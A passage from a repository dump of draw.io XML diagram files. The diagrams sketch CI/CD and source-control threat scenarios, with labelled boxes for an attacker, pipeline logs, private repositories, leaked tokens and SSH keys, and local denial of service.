relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"476.68\" y=\"214\" as=\"sourcePoint\" />\n            <mxPoint x=\"476.68\" y=\"242\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-18\" value=\"\" style=\"image;points=[];aspect=fixed;html=1;align=center;shadow=0;dashed=0;image=img/lib/allied_telesis/storage/Datacenter_Server_Half_Rack_ToR.svg;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"283\" y=\"231\" width=\"54.19\" height=\"70.41\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-19\" value=\"Infrastructure\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"266\" y=\"308\" width=\"88\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n      </root>\n    </mxGraphModel>\n  </diagram>\n</mxfile>\n"
  },
  {
    "path": "assets/images/ex-pip.drawio.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<mxfile host=\"app.diagrams.net\" modified=\"2023-06-02T13:22:04.950Z\" agent=\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36\" etag=\"J-wsIxnLS4vmrfJYTwm2\" version=\"21.2.9\">\n  <diagram name=\"Page-1\" id=\"hAYbas8VQYhL70THEBTF\">\n    <mxGraphModel dx=\"586\" dy=\"345\" grid=\"0\" gridSize=\"10\" guides=\"1\" tooltips=\"1\" connect=\"1\" arrows=\"1\" fold=\"1\" page=\"1\" pageScale=\"1\" pageWidth=\"850\" pageHeight=\"1100\" math=\"0\" shadow=\"0\">\n      <root>\n        <mxCell id=\"0\" />\n        <mxCell id=\"1\" parent=\"0\" />\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-3\" value=\"\" style=\"sketch=0;outlineConnect=0;fontColor=#232F3E;gradientColor=none;fillColor=#232F3D;strokeColor=none;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;fontSize=12;fontStyle=0;aspect=fixed;pointerEvents=1;shape=mxgraph.aws4.users;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"488.5\" y=\"256.5\" width=\"43\" height=\"43\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-4\" value=\"Users\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"485\" y=\"317\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-6\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"402\" y=\"273\" as=\"sourcePoint\" />\n            <mxPoint x=\"472\" y=\"273\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-7\" value=\"\" style=\"outlineConnect=0;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;shape=mxgraph.aws3.users;fillColor=#f8cecc;strokeColor=#b85450;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"245\" y=\"141\" width=\"38\" height=\"37\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-8\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;Attacker&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"234\" y=\"168\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-112\" value=\"\" style=\"shape=process;whiteSpace=wrap;html=1;backgroundOutline=1;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"317\" y=\"259.82\" width=\"63\" height=\"24\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-113\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;CI/CD&lt;br&gt;&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"318.5\" y=\"283.82\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-114\" value=\"\" style=\"image;points=[];aspect=fixed;html=1;align=center;shadow=0;dashed=0;image=img/lib/allied_telesis/storage/Datacenter_Server_Half_Rack_ToR.svg;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"190.4\" y=\"254.15000000000003\" width=\"27.2\" height=\"35.34\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-115\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;VMs&lt;br&gt;&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"174\" y=\"283.82\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-116\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;Pipeline Logs&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;fontColor=#FF0000;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"234\" y=\"234\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-118\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;fillColor=#f8cecc;strokeColor=#b85450;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"233\" y=\"268\" as=\"sourcePoint\" />\n            <mxPoint x=\"296\" y=\"268\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-119\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;fillColor=#f8cecc;strokeColor=#b85450;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"263.68\" y=\"243\" as=\"sourcePoint\" />\n            <mxPoint x=\"263.68\" y=\"199\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n      </root>\n    </mxGraphModel>\n  </diagram>\n</mxfile>\n"
  },
  {
    "path": "assets/images/ex-pro.drawio.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<mxfile host=\"app.diagrams.net\" modified=\"2023-06-02T13:24:36.516Z\" agent=\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36\" etag=\"uPo2l0uCLzRgjJBXTYPU\" version=\"21.2.9\">\n  <diagram name=\"Page-1\" id=\"hAYbas8VQYhL70THEBTF\">\n    <mxGraphModel dx=\"586\" dy=\"345\" grid=\"0\" gridSize=\"10\" guides=\"1\" tooltips=\"1\" connect=\"1\" arrows=\"1\" fold=\"1\" page=\"1\" pageScale=\"1\" pageWidth=\"850\" pageHeight=\"1100\" math=\"0\" shadow=\"0\">\n      <root>\n        <mxCell id=\"0\" />\n        <mxCell id=\"1\" parent=\"0\" />\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-3\" value=\"\" style=\"sketch=0;outlineConnect=0;fontColor=#232F3E;gradientColor=none;fillColor=#232F3D;strokeColor=none;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;fontSize=12;fontStyle=0;aspect=fixed;pointerEvents=1;shape=mxgraph.aws4.users;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"488.5\" y=\"256.5\" width=\"43\" height=\"43\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-4\" value=\"Users\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"485\" y=\"317\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-6\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"402\" y=\"273\" as=\"sourcePoint\" />\n            <mxPoint x=\"472\" y=\"273\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-7\" value=\"\" style=\"outlineConnect=0;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;shape=mxgraph.aws3.users;fillColor=#f8cecc;strokeColor=#b85450;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"155\" y=\"141\" width=\"38\" height=\"38\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-8\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;Attacker&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"144\" y=\"168\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-113\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;SCM&lt;br&gt;&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"318.5\" y=\"283.82\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-119\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;fillColor=#f8cecc;strokeColor=#b85450;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"173.68\" y=\"243\" as=\"sourcePoint\" />\n            <mxPoint x=\"173.68\" y=\"199\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-120\" value=\"\" style=\"html=1;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"159\" y=\"253.82\" width=\"30\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-121\" value=\"\" style=\"endArrow=none;html=1;rounded=0;align=center;verticalAlign=top;endFill=0;labelBackgroundColor=none;endSize=2;\" edge=\"1\" source=\"b94HZelUpRPoaxA_aSND-120\" target=\"b94HZelUpRPoaxA_aSND-122\" parent=\"1\">\n          <mxGeometry relative=\"1\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-122\" value=\"\" style=\"ellipse;html=1;fontSize=11;align=center;fillColor=none;points=[];aspect=fixed;resizable=0;verticalAlign=bottom;labelPosition=center;verticalLabelPosition=top;flipH=1;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"310.5\" y=\"264.82\" width=\"8\" height=\"8\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-124\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;Private Repo&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;fontColor=#FF0000;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"148\" y=\"283.82\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-125\" value=\"\" style=\"shape=cylinder3;whiteSpace=wrap;html=1;boundedLbl=1;backgroundOutline=1;size=15;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"330\" y=\"223.82\" width=\"37\" height=\"60\" as=\"geometry\" />\n        </mxCell>\n      </root>\n    </mxGraphModel>\n  </diagram>\n</mxfile>\n"
  },
  {
    "path": "assets/images/github.drawio.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<mxfile host=\"app.diagrams.net\" modified=\"2023-06-02T12:27:12.355Z\" agent=\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36\" etag=\"WQZ1i7uK5hnxFrFPqdAC\" version=\"21.2.9\">\n  <diagram name=\"Page-1\" id=\"hAYbas8VQYhL70THEBTF\">\n    <mxGraphModel dx=\"586\" dy=\"345\" grid=\"0\" gridSize=\"10\" guides=\"1\" tooltips=\"1\" connect=\"1\" arrows=\"1\" fold=\"1\" page=\"1\" pageScale=\"1\" pageWidth=\"850\" pageHeight=\"1100\" math=\"0\" shadow=\"0\">\n      <root>\n        <mxCell id=\"0\" />\n        <mxCell id=\"1\" parent=\"0\" />\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-2\" value=\"Github, ...\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"217\" y=\"315\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-3\" value=\"\" style=\"sketch=0;outlineConnect=0;fontColor=#232F3E;gradientColor=none;fillColor=#232F3D;strokeColor=none;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;fontSize=12;fontStyle=0;aspect=fixed;pointerEvents=1;shape=mxgraph.aws4.users;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"395\" y=\"252\" width=\"43\" height=\"43\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-4\" value=\"Users\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"388\" y=\"319\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-6\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"305\" y=\"275\" as=\"sourcePoint\" />\n            <mxPoint x=\"375\" y=\"275\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-7\" value=\"\" style=\"outlineConnect=0;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;shape=mxgraph.aws3.users;fillColor=#f8cecc;strokeColor=#b85450;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"364\" y=\"108\" width=\"38\" height=\"37\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-8\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;Attacker&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"353\" y=\"139\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-9\" value=\"\" style=\"shape=mxgraph.pid.vessels.pressurized_vessel;html=1;pointerEvents=1;align=center;verticalLabelPosition=bottom;verticalAlign=top;dashed=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"232\" y=\"103\" width=\"30\" height=\"57\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-10\" value=\"Codes\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"217\" y=\"160\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-11\" value=\"\" style=\"endArrow=classic;html=1;rounded=0;fillColor=#f8cecc;strokeColor=#b85450;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"343\" y=\"131\" as=\"sourcePoint\" />\n            <mxPoint x=\"287\" y=\"131\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-12\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;PAT, SSH Key, Sensitive Information&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;fontStyle=1;fontColor=#ff0000;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"288\" y=\"83\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-13\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"246.68\" y=\"229\" as=\"sourcePoint\" />\n            <mxPoint x=\"246.68\" y=\"195\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-14\" value=\"\" style=\"dashed=0;outlineConnect=0;html=1;align=center;labelPosition=center;verticalLabelPosition=bottom;verticalAlign=top;shape=mxgraph.weblogos.github\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"228\" y=\"252\" width=\"47\" height=\"45\" as=\"geometry\" />\n        </mxCell>\n      </root>\n    </mxGraphModel>\n  </diagram>\n</mxfile>\n"
  },
  {
    "path": "assets/images/localdos.drawio.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<mxfile host=\"app.diagrams.net\" modified=\"2023-06-02T13:18:51.318Z\" agent=\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36\" etag=\"xdK8u2bOKAQIvYLAs3PA\" version=\"21.2.9\">\n  <diagram name=\"Page-1\" id=\"hAYbas8VQYhL70THEBTF\">\n    <mxGraphModel dx=\"586\" dy=\"345\" grid=\"0\" gridSize=\"10\" guides=\"1\" tooltips=\"1\" connect=\"1\" arrows=\"1\" fold=\"1\" page=\"1\" pageScale=\"1\" pageWidth=\"850\" pageHeight=\"1100\" math=\"0\" shadow=\"0\">\n      <root>\n        <mxCell id=\"0\" />\n        <mxCell id=\"1\" parent=\"0\" />\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-111\" value=\"\" style=\"rounded=1;whiteSpace=wrap;html=1;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"185\" y=\"256.5\" width=\"212\" height=\"90.5\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-40\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;fillColor=#f8cecc;strokeColor=#b85450;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"242\" y=\"299.5\" as=\"sourcePoint\" />\n            <mxPoint x=\"340\" y=\"299.5\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-3\" value=\"\" style=\"sketch=0;outlineConnect=0;fontColor=#232F3E;gradientColor=none;fillColor=#232F3D;strokeColor=none;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;fontSize=12;fontStyle=0;aspect=fixed;pointerEvents=1;shape=mxgraph.aws4.users;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"488.5\" y=\"256.5\" width=\"43\" height=\"43\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-4\" value=\"Users\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"485\" y=\"317\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-6\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"402\" y=\"273\" as=\"sourcePoint\" />\n            <mxPoint x=\"472\" y=\"273\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-7\" value=\"\" style=\"outlineConnect=0;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;shape=mxgraph.aws3.users;fillColor=#f8cecc;strokeColor=#b85450;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"268\" y=\"160\" width=\"38\" height=\"37\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-8\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;Attacker&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"257\" y=\"187\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-92\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;Git&lt;br&gt;&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"322.5\" y=\"308.15\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-104\" value=\"\" style=\"sketch=0;outlineConnect=0;fontColor=#232F3E;gradientColor=none;fillColor=#232F3D;strokeColor=none;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;fontSize=12;fontStyle=0;aspect=fixed;pointerEvents=1;shape=mxgraph.aws4.git_repository;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"337\" y=\"271.75\" width=\"28\" height=\"36.4\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-112\" value=\"\" style=\"shape=process;whiteSpace=wrap;html=1;backgroundOutline=1;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"259.5\" y=\"284.15\" width=\"63\" height=\"24\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-113\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;CI/CD&lt;br&gt;&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"261\" y=\"308.15\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-114\" value=\"\" style=\"image;points=[];aspect=fixed;html=1;align=center;shadow=0;dashed=0;image=img/lib/allied_telesis/storage/Datacenter_Server_Half_Rack_ToR.svg;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"209\" y=\"278.48\" width=\"27.2\" height=\"35.34\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-115\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;VMs&lt;br&gt;&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"192.6\" y=\"308.15\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-116\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;Local DOS&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;fontColor=#FF0000;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"257\" y=\"256.5\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-118\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;fillColor=#f8cecc;strokeColor=#b85450;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"286.68\" y=\"251\" as=\"sourcePoint\" />\n            <mxPoint x=\"286.68\" y=\"217\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n      </root>\n    </mxGraphModel>\n  </diagram>\n</mxfile>\n"
  },
  {
    "path": "assets/images/monitoring.drawio.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<mxfile host=\"app.diagrams.net\" modified=\"2023-06-02T13:11:55.984Z\" agent=\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36\" etag=\"CmHBmXLAuYae53rKsqPB\" version=\"21.2.9\">\n  <diagram name=\"Page-1\" id=\"hAYbas8VQYhL70THEBTF\">\n    <mxGraphModel dx=\"586\" dy=\"345\" grid=\"0\" gridSize=\"10\" guides=\"1\" tooltips=\"1\" connect=\"1\" arrows=\"1\" fold=\"1\" page=\"1\" pageScale=\"1\" pageWidth=\"850\" pageHeight=\"1100\" math=\"0\" shadow=\"0\">\n      <root>\n        <mxCell id=\"0\" />\n        <mxCell id=\"1\" parent=\"0\" />\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-3\" value=\"\" style=\"sketch=0;outlineConnect=0;fontColor=#232F3E;gradientColor=none;fillColor=#232F3D;strokeColor=none;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;fontSize=12;fontStyle=0;aspect=fixed;pointerEvents=1;shape=mxgraph.aws4.users;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"488.5\" y=\"256.5\" width=\"43\" height=\"43\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-4\" value=\"Users\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"485\" y=\"317\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-6\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"402\" y=\"273\" as=\"sourcePoint\" />\n            <mxPoint x=\"472\" y=\"273\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-7\" value=\"\" style=\"outlineConnect=0;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;shape=mxgraph.aws3.users;fillColor=#f8cecc;strokeColor=#b85450;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"252.5\" y=\"155\" width=\"38\" height=\"37\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-8\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;Attacker&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"241.5\" y=\"182\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-40\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;fillColor=#f8cecc;strokeColor=#b85450;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"271.18\" y=\"254\" as=\"sourcePoint\" />\n            <mxPoint 